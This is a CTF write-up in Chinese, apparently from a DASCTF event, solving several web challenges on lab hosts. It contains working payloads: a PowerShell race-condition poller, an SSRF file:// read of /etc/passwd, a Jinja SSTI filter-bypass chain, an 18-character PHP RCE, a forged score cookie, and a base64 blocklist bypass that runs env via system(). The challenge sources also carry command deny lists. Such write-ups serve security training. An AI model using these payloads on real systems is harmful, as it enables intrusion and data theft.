年轻人手速太慢了

只有一个上传的按钮,题目描述为
查看文件的机会转瞬即逝,你能抓到吗?
需要我们进行条件竞争
$h = "618d92d4c3b6b8877d452a86.http-ctf2.dasctf.com"
while ($true) {
$r = curl.exe -s --max-time 2 "http://$h/testfile.txt"
if ($r -cmatch 'CTF2\{') { Write-Host "`n[HIT] $r" -ForegroundColor Green; break }
Write-Host "." -NoNewline
}
我们先在命令行中执行查询

不管上传什么都显示文件已经被删除了
在我们执行命令的时候随便上传一个.php的文件

去除掉报错信息回显的就是flag
Try2ReadFlag
查看源代码


发现GET传参不对劲

http://ecd9078856fde8d6722a3deb.http-ctf2.dasctf.com/index.php?url=file:///etc/passwd
修改为file:///etc/passwd
发现返回了数据

查看当前文件
<?php
error_reporting(0);
$url = $_GET['url'];
$input = explode(":", $url)[0];
if ($input == "http" or $input == "file" ){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
?>

查看flag.php文件
<?php
error_reporting(0);
$input = $_POST['input'];
if(preg_match('/cat.+?flag/is', $input)) {
die("no");
}
if ((substr($input,0,3) == "cat") and (substr($input,-4,4)=="flag")){
echo system("ls /");
}
构造 input=catflag:
前 3 字符 = cat
后 4 字符 = flag
正则:cat 与 flag 之间是 0 个字符,而 .+? 要求 ≥1 → 不匹配
返回 system("ls /") 的结果:

读 flag

EzSSti

{{config|attr('c'+'lass')|attr('init')|attr('globals')|attr('g'+'etitem')('builtins')|attr('g'+'etitem')('open')(config|attr('g'+'etitem')('F'+'LAG'))|attr('read')()}}

没有弯弯绕绕,很单纯的WAF绕过
StupidRCE
<?php
error_reporting(0);
//flag.php
if( isset( $_GET['code'] ) )
{
$code = $_GET['code'];
if( strlen( $code ) > 18 )
{
die("You really long, but i dont like more than 18cm");
}
if ( preg_match( "/\w/", $code ) )
{\w 等价于 [A-Za-z0-9_]
die("i dislike it");
}
if ( preg_match( "/&|\||\^|\~|\!/", $code ) )
{
die("stop calculating");
}
if ( preg_match( "/\(|\)/", $code ) )
{
die("call function is not safe");
}
if ( preg_match( "/\(|\)/", $code ) )
{
die("call function is not safe");
}
if ( preg_match( "/\{|\}|\[|\]/", $code ) )
{
die( "fxcking brackets");
}
if ( preg_match( "/\\$|@|\./", $code ) )
{
die("$1 dou bu gei wo");
}
eval( $code ); //I believe that those noob hackers cannot hack me
} else {
show_source(__FILE__);
}
?>
能用的就只有18个字符
最终payload为:?><?=`/???/??? *`;
<?php
$what_you_want = "CTF2{ab10623c-c7c3-4661-bce3-9cabc0cfb67a}";
?>
02-cookies

需要我们获取300分才能获取flag

但是控制台输入300分却不行

访问
关键点:
目标是分数 > 300
但服务端自己会拦:
提交分数 响应
0 ~ 200 Your score is N. You must get more than 300 to get flag.
≥ 250(阈值在 200~250 之间) Obviously you are cheater. ← 不下发 cookie,直接拒绝
999999999999... Obviously you are cheater.
cookie 是什么格式
把下发的 cookie base64 解码再 gunzip:
提交 cookie gunzip 后
score=1 H4sIAAAAAAAAAzMEALfv3IMBAAAA b'1'
score=10 H4sIAAAAAAAAAzM0AADhJV2hAgAAAA== b'10'
score=100 H4sIAAAAAAAAAzM0MAAA6lB3IwMAAAA= b'100'
score=-1 H4sIAAAAAAAAA9M1BAAqSC0wAgAAAA== b'-1'
即:
cookie["score"] = base64( gzip( 分数的十进制字符串 ) )
自己按同样格式造一个任意分数的 cookie,直接带上去 GET:
import base64, gzip, requests
val = base64.b64encode(gzip.compress(b"100000", mtime=0)).decode()
r = requests.get("http://1bc8bdb2a671a2a3524c2ddd.http-ctf2.dasctf.com/score.php",
headers={"Cookie": "score=" + val})
print(r.text)

base64
<?php
highlight_file(__FILE__);
error_reporting(0);
$a = $_GET['a'];
$b = $_GET['b'];
function waf($str){
if(preg_match('/\!| |\@|#\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\{|\}|\||{\[|\]|\"|\;|\'|\:|\?|\<|\>|\/|\.|\,|\`/i',$str)){
die('这个不算~~~');
}else{
return $str;
}
}
function base64($a,$b){
if($a!==$b){
if(base64_decode($a)===base64_decode($b)){
return true;
}else{
die('hacker!!');
}
}else{
die('hacker!!!');
}
}
if (isset($_REQUEST['cmd'])&& base64(waf($a),waf($b))) {
$base64 = $_REQUEST['cmd'];
if (strlen($base64)>=100) {
die('nonononononono~');
}elseif(preg_match('/^.*(ls|nl|cat|tac|more|flag|less|head|tail|tailf|sort|od|cut|awk|rev|uniq|grep|sed|strings|nc|sort|alias|break|cd|echo|eval|exec|exit|help|history|if|kill|let|pwd|read|set|source|unset|[\x00-\x1FA-Z0-9!*\'\"?#-\/;-@\[-`|~\x7F]+).*$/',base64_decode($base64))) {
die('你以为这么轻松绕过???');
}else {
$cmd = base64_decode($base64);
if($cmd !== NULL) {
system($cmd);
}
}
}
?>
关 约束 解
关1/2 $a !== $b 但 base64_decode 严格相等 a=YQ== / b=YQ → 都解码成 a ✓
关3 strlen($base64) < 100 ZW52 只有 4 字节 ✓
关4 只留 a-z + 空格 + : + {} env 全小写 ✓
终点 system(base64_decode(cmd)) 跑 env ✓
?a=YQ%3D%3D&b=YQ&cmd=ZW52
